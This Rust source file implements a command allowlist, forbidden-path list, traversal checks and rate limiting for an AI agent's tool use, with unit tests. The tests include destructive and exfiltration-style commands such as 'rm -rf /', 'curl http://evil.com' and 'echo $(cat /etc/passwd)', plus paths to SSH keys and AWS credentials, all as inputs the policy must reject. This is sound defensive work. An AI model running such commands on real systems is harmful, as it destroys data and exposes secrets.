use serde::{Deserialize, Serialize}; use std::path::{Path, PathBuf}; use std::sync::Mutex; use std::time::Instant; /// How much autonomy the agent has #[derive(Debug, Clone, Copy, Default, PartialEq, Eq, Serialize, Deserialize)] #[serde(rename_all = "lowercase")] pub enum AutonomyLevel { /// Read-only: can observe but not act ReadOnly, /// Supervised: acts but requires approval for risky operations #[default] Supervised, /// Full: autonomous execution within policy bounds Full, } /// Sliding-window action tracker for rate limiting. #[derive(Debug)] pub struct ActionTracker { /// Timestamps of recent actions (kept within the last hour). actions: Mutex>, } impl ActionTracker { pub fn new() -> Self { Self { actions: Mutex::new(Vec::new()), } } /// Record an action and return the current count within the window. pub fn record(&self) -> usize { let mut actions = self .actions .lock() .unwrap_or_else(std::sync::PoisonError::into_inner); let cutoff = Instant::now() .checked_sub(std::time::Duration::from_secs(3600)) .unwrap_or_else(Instant::now); actions.retain(|t| *t > cutoff); actions.push(Instant::now()); actions.len() } /// Count of actions in the current window without recording. pub fn count(&self) -> usize { let mut actions = self .actions .lock() .unwrap_or_else(std::sync::PoisonError::into_inner); let cutoff = Instant::now() .checked_sub(std::time::Duration::from_secs(3600)) .unwrap_or_else(Instant::now); actions.retain(|t| *t > cutoff); actions.len() } } impl Clone for ActionTracker { fn clone(&self) -> Self { let actions = self .actions .lock() .unwrap_or_else(std::sync::PoisonError::into_inner); Self { actions: Mutex::new(actions.clone()), } } } /// Security policy enforced on all tool executions #[derive(Debug, Clone)] pub struct SecurityPolicy { pub autonomy: AutonomyLevel, pub workspace_dir: PathBuf, pub workspace_only: bool, pub allowed_commands: Vec, pub forbidden_paths: Vec, pub max_actions_per_hour: u32, pub max_cost_per_day_cents: u32, pub tracker: ActionTracker, } impl Default for SecurityPolicy { fn default() -> Self { Self { autonomy: AutonomyLevel::Supervised, workspace_dir: PathBuf::from("."), workspace_only: true, allowed_commands: vec![ "git".into(), "npm".into(), "cargo".into(), "ls".into(), "cat".into(), "grep".into(), "find".into(), "echo".into(), "pwd".into(), "wc".into(), "head".into(), "tail".into(), ], forbidden_paths: vec![ // System directories (blocked even when workspace_only=false) "/etc".into(), "/root".into(), "/home".into(), "/usr".into(), "/bin".into(), "/sbin".into(), "/lib".into(), "/opt".into(), "/boot".into(), "/dev".into(), "/proc".into(), "/sys".into(), "/var".into(), "/tmp".into(), // Sensitive dotfiles "~/.ssh".into(), "~/.gnupg".into(), "~/.aws".into(), "~/.config".into(), ], max_actions_per_hour: 20, max_cost_per_day_cents: 500, tracker: ActionTracker::new(), } } } /// Skip leading environment variable assignments (e.g. `FOO=bar cmd args`). /// Returns the remainder starting at the first non-assignment word. fn skip_env_assignments(s: &str) -> &str { let mut rest = s; loop { let Some(word) = rest.split_whitespace().next() else { return rest; }; // Environment assignment: contains '=' and starts with a letter or underscore if word.contains('=') && word .chars() .next() .is_some_and(|c| c.is_ascii_alphabetic() || c == '_') { // Advance past this word rest = rest[word.len()..].trim_start(); } else { return rest; } } } impl SecurityPolicy { /// Check if a shell command is allowed. /// /// Validates the **entire** command string, not just the first word: /// - Blocks subshell operators (`` ` ``, `$(`) that hide arbitrary execution /// - Splits on command separators (`|`, `&&`, `||`, `;`, newlines) and /// validates each sub-command against the allowlist /// - Blocks output redirections (`>`, `>>`) that could write outside workspace pub fn is_command_allowed(&self, command: &str) -> bool { if self.autonomy == AutonomyLevel::ReadOnly { return false; } // Block subshell/expansion operators — these allow hiding arbitrary // commands inside an allowed command (e.g. `echo $(rm -rf /)`) if command.contains('`') || command.contains("$(") || command.contains("${") { return false; } // Block output redirections — they can write to arbitrary paths if command.contains('>') { return false; } // Split on command separators and validate each sub-command. // We collect segments by scanning for separator characters. let mut normalized = command.to_string(); for sep in ["&&", "||"] { normalized = normalized.replace(sep, "\x00"); } for sep in ['\n', ';', '|'] { normalized = normalized.replace(sep, "\x00"); } for segment in normalized.split('\x00') { let segment = segment.trim(); if segment.is_empty() { continue; } // Strip leading env var assignments (e.g. FOO=bar cmd) let cmd_part = skip_env_assignments(segment); let base_cmd = cmd_part .split_whitespace() .next() .unwrap_or("") .rsplit('/') .next() .unwrap_or(""); if base_cmd.is_empty() { continue; } if !self .allowed_commands .iter() .any(|allowed| allowed == base_cmd) { return false; } } // At least one command must be present let has_cmd = normalized.split('\x00').any(|s| { let s = skip_env_assignments(s.trim()); s.split_whitespace().next().is_some_and(|w| !w.is_empty()) }); has_cmd } /// Check if a file path is allowed (no path traversal, within workspace) pub fn is_path_allowed(&self, path: &str) -> bool { // Block null bytes (can truncate paths in C-backed syscalls) if path.contains('\0') { return false; } // Block path traversal: check for ".." as a path component if Path::new(path) .components() .any(|c| matches!(c, std::path::Component::ParentDir)) { return false; } // Block URL-encoded traversal attempts (e.g. ..%2f) let lower = path.to_lowercase(); if lower.contains("..%2f") || lower.contains("%2f..") { return false; } // Expand tilde for comparison let expanded = if let Some(stripped) = path.strip_prefix("~/") { if let Some(home) = std::env::var("HOME").ok().map(PathBuf::from) { home.join(stripped).to_string_lossy().to_string() } else { path.to_string() } } else { path.to_string() }; // Block absolute paths when workspace_only is set if self.workspace_only && Path::new(&expanded).is_absolute() { return false; } // Block forbidden paths using path-component-aware matching let expanded_path = Path::new(&expanded); for forbidden in &self.forbidden_paths { let forbidden_expanded = if let Some(stripped) = forbidden.strip_prefix("~/") { if let Some(home) = std::env::var("HOME").ok().map(PathBuf::from) { home.join(stripped).to_string_lossy().to_string() } else { forbidden.clone() } } else { forbidden.clone() }; let forbidden_path = Path::new(&forbidden_expanded); if expanded_path.starts_with(forbidden_path) { return false; } } true } /// Validate that a resolved path is still inside the workspace. /// Call this AFTER joining `workspace_dir` + relative path and canonicalizing. pub fn is_resolved_path_allowed(&self, resolved: &Path) -> bool { // Must be under workspace_dir (prevents symlink escapes). // Prefer canonical workspace root so `/a/../b` style config paths don't // cause false positives or negatives. let workspace_root = self .workspace_dir .canonicalize() .unwrap_or_else(|_| self.workspace_dir.clone()); resolved.starts_with(workspace_root) } /// Check if autonomy level permits any action at all pub fn can_act(&self) -> bool { self.autonomy != AutonomyLevel::ReadOnly } /// Record an action and check if the rate limit has been exceeded. /// Returns `true` if the action is allowed, `false` if rate-limited. pub fn record_action(&self) -> bool { let count = self.tracker.record(); count <= self.max_actions_per_hour as usize } /// Check if the rate limit would be exceeded without recording. pub fn is_rate_limited(&self) -> bool { self.tracker.count() >= self.max_actions_per_hour as usize } /// Build from config sections pub fn from_config( autonomy_config: &crate::config::AutonomyConfig, workspace_dir: &Path, ) -> Self { Self { autonomy: autonomy_config.level, workspace_dir: workspace_dir.to_path_buf(), workspace_only: autonomy_config.workspace_only, allowed_commands: autonomy_config.allowed_commands.clone(), forbidden_paths: autonomy_config.forbidden_paths.clone(), max_actions_per_hour: autonomy_config.max_actions_per_hour, max_cost_per_day_cents: autonomy_config.max_cost_per_day_cents, tracker: ActionTracker::new(), } } } #[cfg(test)] mod tests { use super::*; fn default_policy() -> SecurityPolicy { SecurityPolicy::default() } fn readonly_policy() -> SecurityPolicy { SecurityPolicy { autonomy: AutonomyLevel::ReadOnly, ..SecurityPolicy::default() } } fn full_policy() -> SecurityPolicy { SecurityPolicy { autonomy: AutonomyLevel::Full, ..SecurityPolicy::default() } } // ── AutonomyLevel ──────────────────────────────────────── #[test] fn autonomy_default_is_supervised() { assert_eq!(AutonomyLevel::default(), AutonomyLevel::Supervised); } #[test] fn autonomy_serde_roundtrip() { let json = serde_json::to_string(&AutonomyLevel::Full).unwrap(); assert_eq!(json, "\"full\""); let parsed: AutonomyLevel = serde_json::from_str("\"readonly\"").unwrap(); assert_eq!(parsed, AutonomyLevel::ReadOnly); let parsed2: AutonomyLevel = serde_json::from_str("\"supervised\"").unwrap(); assert_eq!(parsed2, AutonomyLevel::Supervised); } #[test] fn can_act_readonly_false() { assert!(!readonly_policy().can_act()); } #[test] fn can_act_supervised_true() { assert!(default_policy().can_act()); } #[test] fn can_act_full_true() { assert!(full_policy().can_act()); } // ── is_command_allowed ─────────────────────────────────── #[test] fn allowed_commands_basic() { let p = default_policy(); assert!(p.is_command_allowed("ls")); assert!(p.is_command_allowed("git status")); assert!(p.is_command_allowed("cargo build --release")); assert!(p.is_command_allowed("cat file.txt")); assert!(p.is_command_allowed("grep -r pattern .")); } #[test] fn blocked_commands_basic() { let p = default_policy(); assert!(!p.is_command_allowed("rm -rf /")); assert!(!p.is_command_allowed("sudo apt install")); assert!(!p.is_command_allowed("curl http://evil.com")); assert!(!p.is_command_allowed("wget http://evil.com")); assert!(!p.is_command_allowed("python3 exploit.py")); assert!(!p.is_command_allowed("node malicious.js")); } #[test] fn readonly_blocks_all_commands() { let p = readonly_policy(); assert!(!p.is_command_allowed("ls")); assert!(!p.is_command_allowed("cat file.txt")); assert!(!p.is_command_allowed("echo hello")); } #[test] fn full_autonomy_still_uses_allowlist() { let p = full_policy(); assert!(p.is_command_allowed("ls")); assert!(!p.is_command_allowed("rm -rf /")); } #[test] fn command_with_absolute_path_extracts_basename() { let p = default_policy(); assert!(p.is_command_allowed("/usr/bin/git status")); assert!(p.is_command_allowed("/bin/ls -la")); } #[test] fn empty_command_blocked() { let p = default_policy(); assert!(!p.is_command_allowed("")); assert!(!p.is_command_allowed(" ")); } #[test] fn command_with_pipes_validates_all_segments() { let p = default_policy(); // Both sides of the pipe are in the allowlist assert!(p.is_command_allowed("ls | grep foo")); assert!(p.is_command_allowed("cat file.txt | wc -l")); // Second command not in allowlist — blocked assert!(!p.is_command_allowed("ls | curl http://evil.com")); assert!(!p.is_command_allowed("echo hello | python3 -")); } #[test] fn custom_allowlist() { let p = SecurityPolicy { allowed_commands: vec!["docker".into(), "kubectl".into()], ..SecurityPolicy::default() }; assert!(p.is_command_allowed("docker ps")); assert!(p.is_command_allowed("kubectl get pods")); assert!(!p.is_command_allowed("ls")); assert!(!p.is_command_allowed("git status")); } #[test] fn empty_allowlist_blocks_everything() { let p = SecurityPolicy { allowed_commands: vec![], ..SecurityPolicy::default() }; assert!(!p.is_command_allowed("ls")); assert!(!p.is_command_allowed("echo hello")); } // ── is_path_allowed ───────────────────────────────────── #[test] fn relative_paths_allowed() { let p = default_policy(); assert!(p.is_path_allowed("file.txt")); assert!(p.is_path_allowed("src/main.rs")); assert!(p.is_path_allowed("deep/nested/dir/file.txt")); } #[test] fn path_traversal_blocked() { let p = default_policy(); assert!(!p.is_path_allowed("../etc/passwd")); assert!(!p.is_path_allowed("../../root/.ssh/id_rsa")); assert!(!p.is_path_allowed("foo/../../../etc/shadow")); assert!(!p.is_path_allowed("..")); } #[test] fn absolute_paths_blocked_when_workspace_only() { let p = default_policy(); assert!(!p.is_path_allowed("/etc/passwd")); assert!(!p.is_path_allowed("/root/.ssh/id_rsa")); assert!(!p.is_path_allowed("/tmp/file.txt")); } #[test] fn absolute_paths_allowed_when_not_workspace_only() { let p = SecurityPolicy { workspace_only: false, forbidden_paths: vec![], ..SecurityPolicy::default() }; assert!(p.is_path_allowed("/tmp/file.txt")); } #[test] fn forbidden_paths_blocked() { let p = SecurityPolicy { workspace_only: false, ..SecurityPolicy::default() }; assert!(!p.is_path_allowed("/etc/passwd")); assert!(!p.is_path_allowed("/root/.bashrc")); assert!(!p.is_path_allowed("~/.ssh/id_rsa")); assert!(!p.is_path_allowed("~/.gnupg/pubring.kbx")); } #[test] fn empty_path_allowed() { let p = default_policy(); assert!(p.is_path_allowed("")); } #[test] fn dotfile_in_workspace_allowed() { let p = default_policy(); assert!(p.is_path_allowed(".gitignore")); assert!(p.is_path_allowed(".env")); } // ── from_config ───────────────────────────────────────── #[test] fn from_config_maps_all_fields() { let autonomy_config = crate::config::AutonomyConfig { level: AutonomyLevel::Full, workspace_only: false, allowed_commands: vec!["docker".into()], forbidden_paths: vec!["/secret".into()], max_actions_per_hour: 100, max_cost_per_day_cents: 1000, }; let workspace = PathBuf::from("/tmp/test-workspace"); let policy = SecurityPolicy::from_config(&autonomy_config, &workspace); assert_eq!(policy.autonomy, AutonomyLevel::Full); assert!(!policy.workspace_only); assert_eq!(policy.allowed_commands, vec!["docker"]); assert_eq!(policy.forbidden_paths, vec!["/secret"]); assert_eq!(policy.max_actions_per_hour, 100); assert_eq!(policy.max_cost_per_day_cents, 1000); assert_eq!(policy.workspace_dir, PathBuf::from("/tmp/test-workspace")); } // ── Default policy ────────────────────────────────────── #[test] fn default_policy_has_sane_values() { let p = SecurityPolicy::default(); assert_eq!(p.autonomy, AutonomyLevel::Supervised); assert!(p.workspace_only); assert!(!p.allowed_commands.is_empty()); assert!(!p.forbidden_paths.is_empty()); assert!(p.max_actions_per_hour > 0); assert!(p.max_cost_per_day_cents > 0); } // ── ActionTracker / rate limiting ─────────────────────── #[test] fn action_tracker_starts_at_zero() { let tracker = ActionTracker::new(); assert_eq!(tracker.count(), 0); } #[test] fn action_tracker_records_actions() { let tracker = ActionTracker::new(); assert_eq!(tracker.record(), 1); assert_eq!(tracker.record(), 2); assert_eq!(tracker.record(), 3); assert_eq!(tracker.count(), 3); } #[test] fn record_action_allows_within_limit() { let p = SecurityPolicy { max_actions_per_hour: 5, ..SecurityPolicy::default() }; for _ in 0..5 { assert!(p.record_action(), "should allow actions within limit"); } } #[test] fn record_action_blocks_over_limit() { let p = SecurityPolicy { max_actions_per_hour: 3, ..SecurityPolicy::default() }; assert!(p.record_action()); // 1 assert!(p.record_action()); // 2 assert!(p.record_action()); // 3 assert!(!p.record_action()); // 4 — over limit } #[test] fn is_rate_limited_reflects_count() { let p = SecurityPolicy { max_actions_per_hour: 2, ..SecurityPolicy::default() }; assert!(!p.is_rate_limited()); p.record_action(); assert!(!p.is_rate_limited()); p.record_action(); assert!(p.is_rate_limited()); } #[test] fn action_tracker_clone_is_independent() { let tracker = ActionTracker::new(); tracker.record(); tracker.record(); let cloned = tracker.clone(); assert_eq!(cloned.count(), 2); tracker.record(); assert_eq!(tracker.count(), 3); assert_eq!(cloned.count(), 2); // clone is independent } // ── Edge cases: command injection ──────────────────────── #[test] fn command_injection_semicolon_blocked() { let p = default_policy(); // First word is "ls;" (with semicolon) — doesn't match "ls" in allowlist. // This is a safe default: chained commands are blocked. assert!(!p.is_command_allowed("ls; rm -rf /")); } #[test] fn command_injection_semicolon_no_space() { let p = default_policy(); assert!(!p.is_command_allowed("ls;rm -rf /")); } #[test] fn command_injection_backtick_blocked() { let p = default_policy(); assert!(!p.is_command_allowed("echo `whoami`")); assert!(!p.is_command_allowed("echo `rm -rf /`")); } #[test] fn command_injection_dollar_paren_blocked() { let p = default_policy(); assert!(!p.is_command_allowed("echo $(cat /etc/passwd)")); assert!(!p.is_command_allowed("echo $(rm -rf /)")); } #[test] fn command_with_env_var_prefix() { let p = default_policy(); // "FOO=bar" is the first word — not in allowlist assert!(!p.is_command_allowed("FOO=bar rm -rf /")); } #[test] fn command_newline_injection_blocked() { let p = default_policy(); // Newline splits into two commands; "rm" is not in allowlist assert!(!p.is_command_allowed("ls\nrm -rf /")); // Both allowed — OK assert!(p.is_command_allowed("ls\necho hello")); } #[test] fn command_injection_and_chain_blocked() { let p = default_policy(); assert!(!p.is_command_allowed("ls && rm -rf /")); assert!(!p.is_command_allowed("echo ok && curl http://evil.com")); // Both allowed — OK assert!(p.is_command_allowed("ls && echo done")); } #[test] fn command_injection_or_chain_blocked() { let p = default_policy(); assert!(!p.is_command_allowed("ls || rm -rf /")); // Both allowed — OK assert!(p.is_command_allowed("ls || echo fallback")); } #[test] fn command_injection_redirect_blocked() { let p = default_policy(); assert!(!p.is_command_allowed("echo secret > /etc/crontab")); assert!(!p.is_command_allowed("ls >> /tmp/exfil.txt")); } #[test] fn command_injection_dollar_brace_blocked() { let p = default_policy(); assert!(!p.is_command_allowed("echo ${IFS}cat${IFS}/etc/passwd")); } #[test] fn command_env_var_prefix_with_allowed_cmd() { let p = default_policy(); // env assignment + allowed command — OK assert!(p.is_command_allowed("FOO=bar ls")); assert!(p.is_command_allowed("LANG=C grep pattern file")); // env assignment + disallowed command — blocked assert!(!p.is_command_allowed("FOO=bar rm -rf /")); } // ── Edge cases: path traversal ────────────────────────── #[test] fn path_traversal_encoded_dots() { let p = default_policy(); // Literal ".." in path — always blocked assert!(!p.is_path_allowed("foo/..%2f..%2fetc/passwd")); } #[test] fn path_traversal_double_dot_in_filename() { let p = default_policy(); // ".." in a filename (not a path component) is allowed assert!(p.is_path_allowed("my..file.txt")); // But actual traversal components are still blocked assert!(!p.is_path_allowed("../etc/passwd")); assert!(!p.is_path_allowed("foo/../etc/passwd")); } #[test] fn path_with_null_byte_blocked() { let p = default_policy(); assert!(!p.is_path_allowed("file\0.txt")); } #[test] fn path_symlink_style_absolute() { let p = default_policy(); assert!(!p.is_path_allowed("/proc/self/root/etc/passwd")); } #[test] fn path_home_tilde_ssh() { let p = SecurityPolicy { workspace_only: false, ..SecurityPolicy::default() }; assert!(!p.is_path_allowed("~/.ssh/id_rsa")); assert!(!p.is_path_allowed("~/.gnupg/secring.gpg")); } #[test] fn path_var_run_blocked() { let p = SecurityPolicy { workspace_only: false, ..SecurityPolicy::default() }; assert!(!p.is_path_allowed("/var/run/docker.sock")); } // ── Edge cases: rate limiter boundary ──────────────────── #[test] fn rate_limit_exactly_at_boundary() { let p = SecurityPolicy { max_actions_per_hour: 1, ..SecurityPolicy::default() }; assert!(p.record_action()); // 1 — exactly at limit assert!(!p.record_action()); // 2 — over assert!(!p.record_action()); // 3 — still over } #[test] fn rate_limit_zero_blocks_everything() { let p = SecurityPolicy { max_actions_per_hour: 0, ..SecurityPolicy::default() }; assert!(!p.record_action()); } #[test] fn rate_limit_high_allows_many() { let p = SecurityPolicy { max_actions_per_hour: 10000, ..SecurityPolicy::default() }; for _ in 0..100 { assert!(p.record_action()); } } // ── Edge cases: autonomy + command combos ──────────────── #[test] fn readonly_blocks_even_safe_commands() { let p = SecurityPolicy { autonomy: AutonomyLevel::ReadOnly, allowed_commands: vec!["ls".into(), "cat".into()], ..SecurityPolicy::default() }; assert!(!p.is_command_allowed("ls")); assert!(!p.is_command_allowed("cat")); assert!(!p.can_act()); } #[test] fn supervised_allows_listed_commands() { let p = SecurityPolicy { autonomy: AutonomyLevel::Supervised, allowed_commands: vec!["git".into()], ..SecurityPolicy::default() }; assert!(p.is_command_allowed("git status")); assert!(!p.is_command_allowed("docker ps")); } #[test] fn full_autonomy_still_respects_forbidden_paths() { let p = SecurityPolicy { autonomy: AutonomyLevel::Full, workspace_only: false, ..SecurityPolicy::default() }; assert!(!p.is_path_allowed("/etc/shadow")); assert!(!p.is_path_allowed("/root/.bashrc")); } // ── Edge cases: from_config preserves tracker ──────────── #[test] fn from_config_creates_fresh_tracker() { let autonomy_config = crate::config::AutonomyConfig { level: AutonomyLevel::Full, workspace_only: false, allowed_commands: vec![], forbidden_paths: vec![], max_actions_per_hour: 10, max_cost_per_day_cents: 100, }; let workspace = PathBuf::from("/tmp/test"); let policy = SecurityPolicy::from_config(&autonomy_config, &workspace); assert_eq!(policy.tracker.count(), 0); assert!(!policy.is_rate_limited()); } // ══════════════════════════════════════════════════════════ // SECURITY CHECKLIST TESTS // Checklist: gateway not public, pairing required, // filesystem scoped (no /), access via tunnel // ══════════════════════════════════════════════════════════ // ── Checklist #3: Filesystem scoped (no /) ────────────── #[test] fn checklist_root_path_blocked() { let p = default_policy(); assert!(!p.is_path_allowed("/")); assert!(!p.is_path_allowed("/anything")); } #[test] fn checklist_all_system_dirs_blocked() { let p = SecurityPolicy { workspace_only: false, ..SecurityPolicy::default() }; for dir in [ "/etc", "/root", "/home", "/usr", "/bin", "/sbin", "/lib", "/opt", "/boot", "/dev", "/proc", "/sys", "/var", "/tmp", ] { assert!( !p.is_path_allowed(dir), "System dir should be blocked: {dir}" ); assert!( !p.is_path_allowed(&format!("{dir}/subpath")), "Subpath of system dir should be blocked: {dir}/subpath" ); } } #[test] fn checklist_sensitive_dotfiles_blocked() { let p = SecurityPolicy { workspace_only: false, ..SecurityPolicy::default() }; for path in [ "~/.ssh/id_rsa", "~/.gnupg/secring.gpg", "~/.aws/credentials", "~/.config/secrets", ] { assert!( !p.is_path_allowed(path), "Sensitive dotfile should be blocked: {path}" ); } } #[test] fn checklist_null_byte_injection_blocked() { let p = default_policy(); assert!(!p.is_path_allowed("safe\0/../../../etc/passwd")); assert!(!p.is_path_allowed("\0")); assert!(!p.is_path_allowed("file\0")); } #[test] fn checklist_workspace_only_blocks_all_absolute() { let p = SecurityPolicy { workspace_only: true, ..SecurityPolicy::default() }; assert!(!p.is_path_allowed("/any/absolute/path")); assert!(p.is_path_allowed("relative/path.txt")); } #[test] fn checklist_resolved_path_must_be_in_workspace() { let p = SecurityPolicy { workspace_dir: PathBuf::from("/home/user/project"), ..SecurityPolicy::default() }; // Inside workspace — allowed assert!(p.is_resolved_path_allowed(Path::new("/home/user/project/src/main.rs"))); // Outside workspace — blocked (symlink escape) assert!(!p.is_resolved_path_allowed(Path::new("/etc/passwd"))); assert!(!p.is_resolved_path_allowed(Path::new("/home/user/other_project/file"))); // Root — blocked assert!(!p.is_resolved_path_allowed(Path::new("/"))); } #[test] fn checklist_default_policy_is_workspace_only() { let p = SecurityPolicy::default(); assert!( p.workspace_only, "Default policy must be workspace_only=true" ); } #[test] fn checklist_default_forbidden_paths_comprehensive() { let p = SecurityPolicy::default(); // Must contain all critical system dirs for dir in ["/etc", "/root", "/proc", "/sys", "/dev", "/var", "/tmp"] { assert!( p.forbidden_paths.iter().any(|f| f == dir), "Default forbidden_paths must include {dir}" ); } // Must contain sensitive dotfiles for dot in ["~/.ssh", "~/.gnupg", "~/.aws"] { assert!( p.forbidden_paths.iter().any(|f| f == dot), "Default forbidden_paths must include {dot}" ); } } }